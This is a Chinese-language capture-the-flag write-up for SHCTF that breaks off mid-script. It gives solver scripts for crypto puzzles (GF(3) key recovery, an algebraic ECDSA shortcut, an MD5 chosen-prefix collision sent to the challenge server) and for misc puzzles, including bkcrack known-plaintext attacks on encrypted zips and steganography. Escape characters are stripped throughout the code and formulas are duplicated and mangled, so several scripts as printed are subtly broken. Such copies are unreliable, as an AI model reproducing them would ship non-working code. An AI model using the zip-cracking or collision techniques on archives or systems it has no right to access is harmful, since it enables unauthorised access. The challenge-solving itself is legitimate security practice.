奇偶混淆:若数字 dd 为偶数,密文 D=d+rD=d+r;若为奇数,密文 D=d×rD=d×r。
$$
异或链:混淆后的数据进行前后异或处理。
线性变换:数据被填充后,经过一个线性变换
$$
y=P1⋅x+P2y=P1⋅x+P2
$$
AES 加密:变换后的数据作为 AES-CTR 的明文,密钥为 key 的 MD5 值。
解密原理
GF(3) 线性代数恢复密钥:
trace 中的约束关系实际上是在 GF(3) 域上的线性方程。通过构建矩阵并使用高斯消元法,可以瞬间解出原始的 128-bit key。
AES 解密与线性逆变换:
计算 MD5(key) 解密 AES 得到中间数据 f2_output。
利用题目提供的 P1P1(取前12行构成可逆方阵)和 P2P2,使用分数(Fraction)精度计算
$$
x=P1−1(y−P2)x=P1−1(y−P2),还原出混淆后的序列和 Padding。
$$
爆破 Seed:
遍历 100,000 到 999,999 的种子,重现随机数生成过程。若生成的随机 Padding 与解密出的 Padding 一致,即为正确 Seed。
模拟退火去除混淆:
$$
还原出 DiDi 和 riri 后,每个位置的原始数字 dd 存在多义性(可能是 D−rD−r 的偶数,也可能是 D/rD/r 的奇数)。
$$
利用模拟退火算法搜索最优解,评分标准为“解出的 flag 包含的可打印字符数量”。通过启发式策略(固定 flag 第3位以对齐 ASCII)快速收敛得到 flag。
exp.py
import ast
import random
import math
from hashlib import md5
from fractions import Fraction
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
def gf3_add(a, b): return (a + b) % 3
def gf3_mul(a, b): return (a * b) % 3
def gf3_inv(x): return {1:1, 2:2}[x]
def gauss_elim_gf3(A, b):
n, m = len(A[0]), len(A)
M = [row[:] + [b[i] % 3] for i, row in enumerate(A)]
row = col = 0
pivot_cols = []
while row < m and col < n:
pivot = next((i for i in range(row, m) if M[i][col] != 0), None)
if pivot is None:
col += 1; continue
M[row], M[pivot] = M[pivot], M[row]
pivot_cols.append(col)
inv = gf3_inv(M[row][col])
for j in range(col, n+1): M[row][j] = gf3_mul(M[row][j], inv)
for i in range(m):
if i != row and M[i][col] != 0:
f = M[i][col]
for j in range(col, n+1):
M[i][j] = gf3_add(M[i][j], gf3_mul(-f % 3, M[row][j]))
row += 1; col += 1
sol = [0]*n
for idx, c in enumerate(pivot_cols): sol[c] = M[idx][n] % 3
return sol
def invert_matrix(mat):
n = len(mat)
M = [row[:] + [Fraction(1 if i==j else 0) for j in range(n)] for i,row in enumerate(mat)]
for col in range(n):
pivot = next(i for i in range(col,n) if M[i][col] != 0)
M[col], M[pivot] = M[pivot], M[col]
piv = M[col][col]
for j in range(2*n): M[col][j] /= piv
for i in range(n):
if i != col and M[i][col] != 0:
f = M[i][col]
for j in range(2*n): M[i][j] -= f * M[col][j]
return [M[i][n:] for i in range(n)]
def get_flag(cands):
try: return long_to_bytes(int("".join(str(c) for c in cands)))
except: return b''
def score(b):
if len(b) != 67 or not b.startswith(b'SHCTF{') or not b.endswith(b'}'): return -1000
return sum(1 for x in b if 32 <= x <= 126)
def solve():
with open('data.txt','r') as f:
data = f.read().split('n')
p1 = ast.literal_eval(data[0].split('=',1)[1])
p2 = ast.literal_eval(data[1].split('=',1)[1])
trace = ast.literal_eval(data[2].split('=',1)[1])
res_str = data[3].split('=',1)[1].strip()
res = bytes.fromhex(ast.literal_eval(res_str) if "'" in res_str else res_str)
A, b_vec = [], []
for n, bit in trace:
if bit == 1:
A.append([(n >> i) & 1 for i in range(128)])
b_vec.append(1)
k_bits = gauss_elim_gf3(A, b_vec)
key = sum((1 << i) for i, b in enumerate(k_bits) if b)
print(f"Key: {hex(key)}")
cipher = AES.new(md5(str(key).encode()).digest(), AES.MODE_CTR, nonce=b"Tiffanyx00")
f2_out = ast.literal_eval(cipher.decrypt(res).decode())
inv_p1 = invert_matrix([[Fraction(x) for x in r[:12]] for r in p1[:12]])
v = []
for i in range(0, len(f2_out), 16):
y = f2_out[i:i+16]
b_s = [Fraction(y[r] - p2[r]) for r in range(12)]
x = [sum(inv_p1[r][c] * b_s[c] for c in range(12)) for r in range(12)]
v.extend(int(k) for k in x)
enc, pad = v[:161], v[161:]
seed = None
for s in range(100000, 1000000):
random.seed(s)
for _ in range(len(enc)): random.randint(100000, 999999)
if [random.randint(0,255) for _ in range(len(pad))] == pad:
seed = s; break
print(f"Seed: {seed}")
random.seed(seed)
rs = [random.randint(100000, 999999) for _ in range(len(enc))]
D = [enc[0]] + [enc[i]^enc[i-1] for i in range(1,len(enc))]
cands = []
for val, r in zip(D, rs):
c = set()
d1 = val - r
if 0 <= d1 <= 9 and d1 % 2 == 0: c.add(d1)
if r != 0 and val % r == 0:
d2 = val // r
if 1 <= d2 <= 9 and d2 % 2 != 0: c.add(d2)
cands.append(list(c))
ambig = [i for i,c in enumerate(cands) if len(c) > 1]
for _ in range(200):
curr = [random.choice(c) for c in cands]
curr[2] = 1
curr_b = get_flag(curr)
s = score(curr_b)
T, decay = 3.0, 0.9995
for __ in range(20000):
if s == 67: print(curr_b.decode()); return
pos = random.choice([x for x in ambig if x != 2])
old = curr[pos]
opts = [x for x in cands[pos] if x != old]
if not opts: continue
curr[pos] = random.choice(opts)
new_b = get_flag(curr)
new_s = score(new_b)
if new_s > s or random.random() < math.exp((new_s - s)/(T + 0.001)):
s, curr_b = new_s, new_b
else:
curr[pos] = old
T *= decay
if __name__ == "__main__":
solve()

SHCTF{HYP3rLoN_mOd3_Lpn_@ff16X1Z_bl6_kl28_@3$_ctR_7FgDzBae0A8f3$61}
第三阶段
椭圆曲线???!!!

task.py
import hashlib
import ecdsa
from Crypto.Util.number import *
import random
import json
def ver_length(secret_data):
p = getPrime(256)
secret = bytes_to_long(secret_data)
start = secret - 19 * p
end = secret + 21 * p
return start, end
def init(secret_data, msg1, msg2):
secret = bytes_to_long(secret_data)
gen = ecdsa.NIST256p.generator
order = gen.order()
pub_key = ecdsa.ecdsa.Public_key(gen, gen * secret)
priv_key = ecdsa.ecdsa.Private_key(pub_key, secret)
k = random.getrandbits(order.bit_length())
hash1 = int(hashlib.sha256(msg1).hexdigest(), 16)
signature1 = priv_key.sign(hash1, k)
hash2 = int(hashlib.sha256(msg2).hexdigest(), 16)
signature2 = priv_key.sign(hash2, k)
return signature1, signature2, k, secret
def main():
flag = b'SHCTF{test_flag_here}'
msg1 = b"Welcome_to_SHCTF"
msg2 = b"It's_a_easy_problem_you_can_solve"
start, end = ver_length(flag)
sig1, sig2, k, secret_value = init(flag, msg1, msg2)
output_data = {
'msg1': msg1.decode(),
'msg2': msg2.decode(),
'sig1_r': hex(sig1.r)[2:],
'sig1_s': hex(sig1.s)[2:],
'sig2_r': hex(sig2.r)[2:],
'sig2_s': hex(sig2.s)[2:],
'start': hex(start),
'end': hex(end)
}
with open('data.json', 'w') as f:
json.dump(output_data, f, indent=2)
if __name__ == "__main__":
main()
data.json
{
"msg1": "Welcome_to_SHCTF",
"msg2": "It's_a_easy_problem_you_can_solve",
"sig1_r": "6b37cf5f824b2530c74db1a0a08d88a369ac553d6487c8b9ac5c0d69a7f1a883",
"sig1_s": "e0e89d49d90044cdfc7e67cffdf1c2e3691986418dfc978b683049781a055d11",
"sig2_r": "6b37cf5f824b2530c74db1a0a08d88a369ac553d6487c8b9ac5c0d69a7f1a883",
"sig2_s": "647c9615327aea66543131c9cafc3d77e87ae8adf7f7bd8cb141d2ca7246ed91",
"start": "0x53484354467b3230353426dd1c6dd189cb364e9d063309b9fab0c1126c020677e70ef6407f2a635c82573e",
"end": "0x53484354467b3230353440dc72476a7e08b5b396aa73d1169b4ca1c340276d7be542632f7c484a30163906"
}
然题目给出了 ECDSA 签名的相关信息(存在随机数 kk 重用的漏洞),但仔细观察给出的 Python 源码和数据,我们会发现通过 start 和 end 的关系可以直接利用简单的代数方法解出 secret(即 flag),完全不需要去解 ECDSA 的离散对数问题。
根据源码中的 ver_length 函数:
def ver_length(secret_data):
p = getPrime(256)
secret = bytes_to_long(secret_data)
start = secret - 19 * p
end = secret + 21 * p
return start, end
我们有两个方程:
$$
start=secret−19×pstart=secret−19×p
$$
$$
end=secret+21×pend=secret+21×p
$$
这是一组关于 secretsecret 和 pp 的二元一次方程组。题目给出了 startstart 和 endend 的数值,我们可以通过以下步骤解出 secret:
用方程 (2) 减去方程 (1):
$$
end−start=(secret+21p)−(secret−19p)end−start=(secret+21p)−(secret−19p)end−start=40pend−start=40p
$$
解出 pp:
$$
p=(end−start)÷40p=(end−start)÷40
$$
将 pp 带回任意一个方程解出 secretsecret:
$$
secret=start+19psecret=start+19p
$$
最后将整数 secretsecret 转换回字节串即可得到 flag。
exp.py
import json
from Crypto.Util.number import long_to_bytes
# data.json 内容
data = {
"msg1": "Welcome_to_SHCTF",
"msg2": "It's_a_easy_problem_you_can_solve",
"sig1_r": "6b37cf5f824b2530c74db1a0a08d88a369ac553d6487c8b9ac5c0d69a7f1a883",
"sig1_s": "e0e89d49d90044cdfc7e67cffdf1c2e3691986418dfc978b683049781a055d11",
"sig2_r": "6b37cf5f824b2530c74db1a0a08d88a369ac553d6487c8b9ac5c0d69a7f1a883",
"sig2_s": "647c9615327aea66543131c9cafc3d77e87ae8adf7f7bd8cb141d2ca7246ed91",
"start": "0x53484354467b3230353426dd1c6dd189cb364e9d063309b9fab0c1126c020677e70ef6407f2a635c82573e",
"end": "0x53484354467b3230353440dc72476a7e08b5b396aa73d1169b4ca1c340276d7be542632f7c484a30163906"
}
def solve():
# 1. 将十六进制字符串转换为整数
start_val = int(data['start'], 16)
end_val = int(data['end'], 16)
# 2. 根据方程组解出 p
# end - start = 40 * p
diff = end_val - start_val
# 验证差值是否能被 40 整除
if diff % 40 != 0:
print("[-] Error: The difference is not divisible by 40.")
return
p = diff // 40
print(f"[*] Calculated p: {p}")
# 3. 根据方程解出 secret
# secret = start + 19 * p
secret = start_val + 19 * p
# 4. 将 secret 转换为 flag 字符串
try:
flag = long_to_bytes(secret)
print(f"[+] Flag found: {flag.decode()}")
except Exception as e:
print(f"[-] Error converting secret to bytes: {e}")
if __name__ == "__main__":
solve()

SHCTF{205436e5-d598-4859-a237-d3f40e7ed45b}
hash3
hash3.py
import hashlib
import string
with open("/flag.txt","r") as f:
flag = f.read().strip()
msg = input(f"Give me both special apples (hex(apple1), hex(apple2)) : ")
try:
table = (string.ascii_letters + string.digits).encode()
apples = msg.split(",")
apple1 = bytes.fromhex(apples[0])
apple2 = bytes.fromhex(apples[1])
hash_apple1 = hashlib.md5(apple1).hexdigest()
hash_apple2 = hashlib.md5(apple2).hexdigest()
if len(apple1) <= 16 or len(apple1) <= 16:
print(f"Both apples are too small")
elif not all(ch in table for ch in apple1[:16]) or not all(ch in table for ch in apple2[:16]):
print(f"No, both apples are too ordinary")
elif apple1[:16] == apple2[:16]:
print(f"Oh snap, both apples are the same")
elif hash_apple1 != hash_apple2:
print(f"Oh no, they taste different")
else:
print(f"Yeah, both apples are delicious!!! This is your prize: {flag}")
except:
print(f"format fault :(")
exit()
现在是 两个文件前缀都不一样
MD5 选择前缀碰撞。通过构造两个起始内容不同但最终 MD5 值相同的文件来绕过服务端的校验。
准备前缀文件(确保前16字节不同且为字母数字):
echo -n "AAAAAAAAAAAAAAAA" > p1.txt
echo -n "AAAAAAAAAAAAAAAB" > p2.txt
使用工具生成碰撞: 使用 HashClash 套件中的自动化脚本。

# 进入编译好的 hashclash 目录
export PATH=$PATH:$(pwd)/bin
./scripts/cpc.sh p1.txt p2.txt
获取结果文件: 工具运行完成后会生成:p1.txt.coll 和 p2.txt.coll
跑了四个小时服了

exp.py
import socket
import hashlib
HOST = 'challenge.shc.tf'
PORT = 32647
FILE1 = 'p1.txt.coll'
FILE2 = 'p2.txt.coll'
def solve():
with open(FILE1, 'rb') as f: apple1 = f.read()
with open(FILE2, 'rb') as f: apple2 = f.read()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
resp = s.recv(1024).decode(errors='ignore')
if "Give me" in resp:
payload = apple1.hex() + "," + apple2.hex() + "n"
s.sendall(payload.encode())
while True:
data = s.recv(4096).decode(errors='ignore')
if not data: break
print(data.strip())
if "flag{" in data:
break
s.close()
if __name__ == '__main__':
solve()

SHCTF{hMM_i_r34I1y_T4573D_The_MoST_dE1lC1Ous_HasHE_4PpLeS_In_th3_w0RId}
Misc
阶段1
签到


SHCTF{WiSh1ng_y0u_@_HaPpy_NEw_Ye@r_1n_Adv@nCe!}
Evan

flag.png 直接binwalk或者foremost可以得到zip

伪加密 解密就行

SHCTF{Evan_1s_s0_h4nds0me!}
不止二维码
LSB隐写 正常扫描没有东西
Red plane 0


FLAG_PART_1: SHCTF{55a23d24-
绿色0


FLAG_PART_2: ABBB/AABBB/AAAAA/BBBBB/ABBBBA/BBBBA/B/AABBB/ABBB
摩斯密码
映射规则:
A为 – (划)
B 为. (点)
| 原文 (Part 2) | 转换 (A=-, B=.) | 摩斯解码 | 备注 |
|---|---|---|---|
ABBB | -... | B | 十六进制字符 |
AABBB | --... | 7 | 数字 |
AAAAA | ----- | 0 | 数字 |
BBBBB | ..... | 5 | 数字 |
ABBBBA | -....- | – | 连字符 (Hyphen) |
BBBBA | ....- | 4 | 数字 |
B | . | E | 十六进制字符 |
AABBB | --... | 7 | 数字 |
ABBB | -... | B | 十六进制字符 |
b705-4e7b
Blue plane 0


FLAG_PART_3: MkZkbDg3ZlY3ZEQxalNGenQyZUFYT3E0NmRrTXFV
解码Base64 -> Base62 -> Base58 -> Base32

-942e-bdd}
拼接
SHCTF{55a23d24-b705-4e7b-942e-bdd}
薇薇安的美照


010看就行

SHCTF{MV84Xzc0XzIwXzdfOTJfMTZfNV8xOF84Xzc=}
里面base64解码
SHCTF{1_8_74_20_7_92_16_5_18_8_7}
元素映射解密
| 数字 | 元素名称 | 符号 |
|---|---|---|
| 1 | 氢 (Hydrogen) | H |
| 8 | 氧 (Oxygen) | O |
| 74 | 钨 (Tungsten) | W |
| 20 | 钙 (Calcium) | Ca |
| 7 | 氮 (Nitrogen) | N |
| 92 | 铀 (Uranium) | U |
| 16 | 硫 (Sulfur) | S |
| 5 | 硼 (Boron) | B |
| 18 | 氩 (Argon) | Ar |
| 8 | 氧 (Oxygen) | O |
| 7 | 氮 (Nitrogen) | N |
大写就行
SHCTF{H_O_W_CA_N_U_S_B_AR_O_N}
Open my puff


零宽字符


零宽字符隐写解码
默认字符集隐藏文本: keyA:12345678 keyB:qwertyui keyC:asdfghjk
默认字符集隐藏二进制: keyA:12345678 keyB:qwertyui keyC:asdfghjk
扩展字符集自动解码: keyA:12345678 keyB:qwertyui keyC:asdfghjk
双模式零宽解码
摩尔斯码+Unicode解码
handleDecode: 445e5e5t5t54454t4e444m454e4t4t44
得到密钥
keyA:12345678 keyB:qwertyui keyC:asdfghjk
根据题目名字可以知道是OpenPuff加密和3个密钥


内容

看出来flag.txt
niimmccw和zfip 就是偏移量
将他们转成hex
niimmccw-->6e69696d6d636377
zfip-->7a666970
bkcrack就行
命令
bkcrack -C flag.zip -c flag.txt -x 0 6e69696d6d636377 -x 12 7a666970

解压
bkcrack.exe -C flag.zip -k 4543d810 f89b3d67 531a63b0 -U flag1.zip easy
#创建一个名为 flag1.zip 的新文件,并将解压密码统一设为 easy。


SHCTF{N3ur4l_Gl1tch_1n_Th3_5yst3m}
滴答滴答

SSTV就行


SHCTF{Radio_is_just_too_much_fun}
提问前请先搜索


或者问问AI访问就出来了
SHCTF{D0_n0t_r3ly_0n_4I}
Office

改后缀.zip


lRy1m2qYkmewkTqDrneCoTCQoUiFqm7zqoeRoT7DqDCAqm7QsTqRuT3PqjWUt5e7
自定义base 压缩包里面找到自定义的base编码字符集



CYberChef直接解就行了
SHCTF{MS_Office_is_the_best_office_software.wps}
资源平权!


bkcrack 爆破就行 构造exe 文件头就行
bkcrack.exe -C 1.zip -c flag.exe -x 0 4D5A90000300000004000000FFFF

解压
bkcrack.exe -C 1.zip -c flag.exe -k 60101051 4cba82cb 48eac20c -d flag6666.exe

运行就行

SHCTF{002c158f-b4d2-4e14-bbbb-b5141bca8cb9}
阶段2
奇怪的数据

数据分析:flag.txt 中包含大量 RGB 颜色元组 (255,255,255)。
图像还原:统计像素总数,开方得到边长(QR 码为正方形),利用 Python PIL 库将像素数据还原为 flag.png。
获取 flag:扫描生成的二维码得到 Base64 字符串,解码获得明文 Flag。
exp.py
import re
import math
from PIL import Image
with open('flag.txt', 'r') as f:
data = f.read()
pixels = [tuple(map(int, x)) for x in re.findall(r'((d+),(d+),(d+))', data)]
side = int(math.sqrt(len(pixels)))
img = Image.new('RGB', (side, side))
img.putdata(pixels)
img.save('QR.png')
print(f"Generated: result_qrcode.png ({side}x{side})")

base64解码就行

SHCTF{Th3_Quest1on5_Are_Too_D1fficu1t!!!!}
Base64Encryption

内容
Readme.txt
看我把Base64的字符表全都打乱了!只要别人解不开,那就是加密?
b4CYzZ3RWg7pBuTyVmGrxaHhjtQMUqEno5XJscD/1d892vO+Pfk6NewlFLSKiI0A
Readme.txt.enc
HHnaHgciHg2tYhIVbWU1HH2RHmE6HvnhvtkgHUogvUdFHghWHaheHa2kw9oB2Dchp9ow2sfvDDcxgsf4/9o3prV5p2B0AaJhhtu0c280j4Uu8Y5cNRNb90gV70GxNMyrGZiHZh+JPxSSfkS2GIINZ6IIqh3+oR5VU1YlToY4dWCEWnLYbhAEWhZMqRbT71L5fWyy
flag.zip.enc
7RA8yyYKKYy/K8nGY+VauAk5oKKKK8QKKKKTKKAKbheSbnH19JYDboH/KbOJKKRKY778KK8NGw3Yg2c4b0lUZTUJr8re0brVhFec8PqlthSpmXAAPnRd8istg2WoEG38OveV+0O+JUN8UZ4xSBqd4HMTJAaK9el8cJOyCELEAoVvtGv5mlJrDePu9dT27RAyKSYKIKKyKkTKBC+86TlsQm0UKKKKBKKKKKQKrQKKKKKKKKKKKamyKKKKKkbAUoPDGJS1ahZDUQkbyQKyKRIIKQKK7RAIypKKKKKyKKRKiYKKKw1KKKKKKK==
png.png.enc

自定义base64 根据已知还原映射表然后basn64转图片 png图片是密码,zip那个是flag zip那个是WinZip AES加密
加密原理:自定义 Base64 (Custom Base64)
标准 Base64:使用 A-Z, a-z, 0-9, +, / 这64个字符作为映射表,将二进制数据转换为文本。
本题的加密:打乱了这64个字符的顺序。例如,标准表里的 A 可能对应密文里的 x,B 对应 7。
破解方法(已知明文攻击):
题目提供了 Readme.txt(明文)和 Readme.txt.enc(密文)。
通过对比这两者,我们可以推导出绝大部分字符的映射关系(例如:明文Base64的 ‘A’ 变成了密文的 ‘K’)。
由于 Readme.txt 较短,可能无法覆盖所有64个字符,会有少量(约5个)字符缺失。
PNG CRC32 碰撞
我们还有 png.png.enc。利用剩余缺失的字符进行 全排列(暴力枚举)。
每生成一种映射表,就尝试还原 PNG 图片的头部。
判定标准:PNG 文件头包含 IHDR 数据块,其中有一个 CRC32 校验码。只有当映射表完全正确时,算出来的 CRC32 才会和文件里记录的一致。以此锁定唯一的密钥表。
还原图片
png.py
from pathlib import Path
import base64, itertools, struct, zlib
SBA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def vpng(pd):
if not pd.startswith(b"x89PNGrnx1an"): return False
p = 8
while p < len(pd):
if p + 8 > len(pd): return False
l = struct.unpack(">I", pd[p:p+4])[0]; t = pd[p+4:p+8]; p += 8
if p + l + 4 > len(pd): return False
d = pd[p:p+l]; p += l
sc = struct.unpack(">I", pd[p:p+4])[0]; p += 4
cc = zlib.crc32(t) & 0xFFFFFFFF; cc = zlib.crc32(d, cc) & 0xFFFFFFFF
if cc != sc: return False
if t == b"IEND": return p == len(pd)
return False
def bpbm(pt, et):
sb = base64.b64encode(pt).decode(); m = {}
for sc, cc in zip(sb, et): m[sc] = cc
um = [c for c in SBA if c not in m]; uc = [c for c in SBA if c not in set(m.values())]
return m, um, uc
def dcb(es, rm):
return base64.b64decode(es.translate(str.maketrans(rm)))
def rcbm(pt, ept, epng):
pm, ms, ac = bpbm(pt, ept)
print(f"[*] Missing Keys: {ms}")
print(f"[*] Missing Vals: {ac}")
print("[*] Brute-forcing PNG CRC...")
for p in itertools.permutations(ac):
cm = pm.copy(); cm.update({s:c for s,c in zip(ms, p)})
rm = {c:s for s,c in cm.items()}
try: dp = dcb(epng, rm)
except: continue
if vpng(dp): return cm, rm
raise RuntimeError("Failed to recover map via PNG check")
def main():
d = Path(".")
if not (d/"Readme.txt").exists():
print("[-] Error: Readme.txt not found")
return
r = (d/"Readme.txt").read_bytes()
er = (d/"Readme.txt.enc").read_text(encoding='utf-8').strip()
ep = (d/"png.png.enc").read_text(encoding='utf-8').strip()
print("Recovering Map...")
m, rm = rcbm(r, er, ep)
print("[+] Map recovered!")
print("Decoding PNG...")
dp = dcb(ep, rm)
output_filename = "png.png"
with open(output_filename, "wb") as f:
f.write(dp)
print(f"[SUCCESS] Image restored: {output_filename}")
print("打开 png.png 查看二维码了。")
if __name__ == "__main__":
main()

手机扫描

压缩包密码
base64_15_n0t_3ncrypt10n
还原zip
flag.zip 不是普通的 Zip 加密,而是 WinZip AES 标准。
结构:ZIP 文件头中有一个 Extra Field (ID 0x9901),标记了它是 AES 加密。
解密流程:
读取 Salt(盐值)。
使用 PBKDF2 算法,结合密码 base64_15_n0t_3ncrypt10n 和 Salt,生成解密密钥(AES Key)和认证密钥(HMAC Key)。
验证密码提示位(Password Verification Value)。
使用 AES(通常是 CTR 模式)解密内容。
使用 HMAC-SHA1 验证解密后的数据完整性(这就是为什么你手动解压会报 CRC/校验错误,因为手动工具可能没处理好这步)。
最后解压(Inflate/Deflate)。
flag
解压出的 flag.txt.enc 内容是一串乱码,因为它也被 自定义 Base64 加密了。
使用第1步恢复的映射表,对其进行解码,得到最终 Flag。
exp.py
import base64
import itertools
import struct
import zlib
from pathlib import Path
try:
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA1, HMAC
from Crypto.Cipher import AES
except ImportError:
print("请先运行: pip install pycryptodome")
exit()
SBA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def pzfh(zd, sp=0):
if zd[sp:sp+4] != b"PKx03x04": raise ValueError("不是有效的ZIP头")
s, v, f, cm, mt, md, crc, cs, us, fnl, efl = struct.unpack_from("<4sHHHHHIIIHH", zd, sp)
cp = sp + 30
fn = zd[cp:cp+fnl].decode(errors="replace")
cp += fnl
ef = zd[cp:cp+efl]
return {"v": v, "f": f, "cm": cm, "crc": crc, "cs": cs, "us": us, "fn": fn, "ef": ef, "dsp": cp+efl, "hsp": sp}
def pwaef(efd):
p = 0
while p + 4 <= len(efd):
fid = int.from_bytes(efd[p:p+2], "little")
fsz = int.from_bytes(efd[p+2:p+4], "little")
fb = efd[p+4:p+4+fsz]; p += 4 + fsz
if fid == 0x9901:
if len(fb) != 7: raise ValueError("AES字段长度错误")
av = int.from_bytes(fb[0:2], "little")
vc = fb[2:4]
ks = fb[4]
acm = int.from_bytes(fb[5:7], "little")
return av, vc, ks, acm
raise ValueError("未找到AES额外字段")
def dwaes(ed, pw, ks):
kl = {1:16,2:24,3:32}[ks]; sl = {1:8,2:12,3:16}[ks]
s = ed[:sl]; pv = ed[sl:sl+2]; mac = ed[-10:]; ct = ed[sl+2:-10]
dk = PBKDF2(pw, s, dkLen=2*kl+2, count=1000, hmac_hash_module=SHA1)
ek = dk[:kl]; ak = dk[kl:2*kl]; pc = dk[2*kl:2*kl+2]
if pc != pv: raise ValueError("密码错误 (校验值不匹配)")
if HMAC.new(ak, ct, SHA1).digest()[:10] != mac: raise ValueError("HMAC校验失败 (文件损坏或被篡改)")
c = AES.new(ek, AES.MODE_ECB); r = bytearray(); cnt = 1
for i in range(0, len(ct), 16):
b = ct[i:i+16]; cb = struct.pack("<I", cnt) + b"x00"*12; ks_stream = c.encrypt(cb)
r.extend(bytes(x ^ ks_stream[j] for j,x in enumerate(b))); cnt += 1
return bytes(r)
def vpng(pd):
if not pd.startswith(b"x89PNGrnx1an"): return False
p = 8
while p < len(pd):
if p + 8 > len(pd): return False
l = struct.unpack(">I", pd[p:p+4])[0]; t = pd[p+4:p+8]; p += 8
if p + l + 4 > len(pd): return False
d = pd[p:p+l]; p += l
sc = struct.unpack(">I", pd[p:p+4])[0]; p += 4
cc = zlib.crc32(t) & 0xFFFFFFFF; cc = zlib.crc32(d, cc) & 0xFFFFFFFF
if cc != sc: return False
if t == b"IEND": return p == len(pd)
return False
def bpbm(pt, et):
sb = base64.b64encode(pt).decode(); m = {}
for sc, cc in zip(sb, et): m[sc] = cc
um = [c for c in SBA if c not in m]; uc = [c for c in SBA if c not in set(m.values())]
return m, um, uc
def dcb(es, rm): return base64.b64decode(es.translate(str.maketrans(rm)))
def rcbm(pt, ept, epng):
pm, ms, ac = bpbm(pt, ept)
for p in itertools.permutations(ac):
cm = pm.copy(); cm.update({s:c for s,c in zip(ms, p)})
rm = {c:s for s,c in cm.items()}
try: dp = dcb(epng, rm)
except: continue
if vpng(dp): return cm, rm
raise RuntimeError("无法通过PNG校验找到映射表")
def main():
d = Path(".")
if not (d/"Readme.txt").exists():
print("缺少 Readme.txt")
return
r = (d/"Readme.txt").read_bytes()
er = (d/"Readme.txt.enc").read_text(encoding='utf-8').strip()
ep = (d/"png.png.enc").read_text(encoding='utf-8').strip()
ez = (d/"flag.zip.enc").read_text(encoding='utf-8').strip()
print("[*] 正在恢复映射表...")
m, rm = rcbm(r, er, ep)
print("[+] 映射表恢复成功")
print("[*] 解码 flag.zip.enc ...")
dz = dcb(ez, rm)
print("[*] 解析 ZIP 结构...")
zh = pzfh(dz, 0)
av, vc, ks, acm = pwaef(zh["ef"])
if vc != b"AE":
raise ValueError("不是 WinZip AES 格式")
print(f"[+] 发现 AES 加密 (KeyStrength={ks}, Method={acm})")
print("[*] 正在解密 (密码: base64_15_n0t_3ncrypt10n) ...")
ed = dz[zh["dsp"]:zh["dsp"]+zh["cs"]]
pw = b"base64_15_n0t_3ncrypt10n"
dd = dwaes(ed, pw, ks)
if acm == 8:
dd = zlib.decompress(dd, -zlib.MAX_WBITS)
elif acm != 0:
raise NotImplementedError("不支持的压缩格式")
flag_cipher = dd.decode('utf-8').strip()
print(f"n[*] 解出的内部密文: {flag_cipher}")
print("[*] 正在进行最终解码...")
final_flag = dcb(flag_cipher, rm).decode('utf-8')
print("n" + "="*40)
print(f"FLAG: {final_flag}")
print("="*40 + "n")
if __name__ == "__main__":
main()

SHCTF{fbf655a2-0661-4665-ac56-2331ca65e887}
获取 SHSolver 之路

下载图片

题目提供了一张长图 shsolver.jpg,图片内容由大量的 QQ 等级图标(皇冠、太阳、月亮、星星)组成。题目提示与“QQ等级”有关。
加密/编码原理
这是一个基于 QQ 等级计算规则 的 4进制(或混合进制) 编码隐写。
数值映射:根据 QQ 等级规则:
1 皇冠 (Crown) = 64
1 太阳 (Sun) = 16
1 月亮 (Moon) = 4
1 星星 (Star) = 1
数据结构:
图片被分为 933 行。每一行代表一个 ASCII 字符。
每一行内的图标代表该字符的 ASCII 码数值之和。
例如:一行中有 `1个皇冠 + 1个太阳 + 2个星星` = 64+16+2=8264+16+2=82,对应的字符是 `R`。
排序规则:
在每一行中,图标总是按照从大到小的顺序排列(皇冠在最左,星星在最右)。利用这个规则,即使我们不通过图像识别认出哪个是皇冠,也可以通过排列组合暴力尝试,找出唯一符合“单调递减”规律的映射关系。
解密流程
图像处理:将图片二值化,并检测出网格的行和列,将其切割成小单元格。
聚类分析:对所有非空单元格进行图像相似度对比(汉明距离),自动将图标分为 4 类(A, B, C, D),无需人工标注。
逻辑推导:对 4 类图标与权重 [64, 16, 4, 1] 进行全排列映射(共 24 种情况)。检查哪一种映射能使得所有行的图标权重都满足 左 >= 右 的规则。
解码:利用正确的映射计算每一行的数值,转为 ASCII 字符串。
提取 flag:解码后的文本中包含一段 Base64 编码,解密该 Base64 后,发现得到的字符串是倒序的,将其反转即可得到最终 flag SHCTF{...}。
exp.py
import base64
import itertools
import numpy as np
from PIL import Image
from pathlib import Path
def get_regions(mask):
regions, start = [], None
for i, v in enumerate(mask):
if v and start is None: start = i
elif not v and start is not None:
regions.append((start, i - 1))
start = None
if start: regions.append((start, len(mask) - 1))
return regions
def main():
path = Path('shsolver.jpg')
if not path.exists(): return
print(f"[+] 正在读取本地图片: {path.name}")
img = np.array(Image.open(path).convert('L')) > 50
rows = get_regions(img.sum(axis=1) > 0)
cols = get_regions(img.sum(axis=0) > 0)
print(f"[+] 检测到网格: {len(rows)} 行 x {len(cols)} 列")
print("[+] 开始聚类分析...")
templates, grid = [], []
for rs, re in rows:
row_icons = []
for cs, ce in cols:
cell = img[rs:re+1, cs:ce+1]
if cell.sum() < 10: continue
icon = Image.fromarray((cell * 255).astype(np.uint8)).resize((16, 16))
pat = (np.array(icon) > 0).flatten()
match_idx, min_dist = -1, float('inf')
for i, t in enumerate(templates):
dist = np.count_nonzero(pat != t)
if dist < min_dist: min_dist, match_idx = dist, i
if min_dist <= 30:
row_icons.append(match_idx)
else:
row_icons.append(len(templates))
templates.append(pat)
grid.append(row_icons)
print(f"[+] 识别到 {len(templates)} 种不同图标")
print("[+] 正在推导图标等级顺序...")
weights = [64, 16, 4, 1]
mapping = None
for p in itertools.permutations(range(4)):
current_map = dict(zip(p, weights))
valid = True
for row in grid:
vals = [current_map[x] for x in row]
if vals != sorted(vals, reverse=True):
valid = False
break
if valid:
mapping = current_map
print(f"[+] 找到合法顺序: {p}")
break
if not mapping: return
print("[+] 正在解码内容...")
decoded = "".join(chr(sum(mapping[x] for x in row)) for row in grid)
print(f"n{'='*40}n原始解码文本:n{decoded}n{'='*40}n")
lines = decoded.splitlines()
for i, line in enumerate(lines):
if "gift" in line and i + 1 < len(lines):
print("[+] 发现提示词 'gift',提取下一行作为密文。")
try:
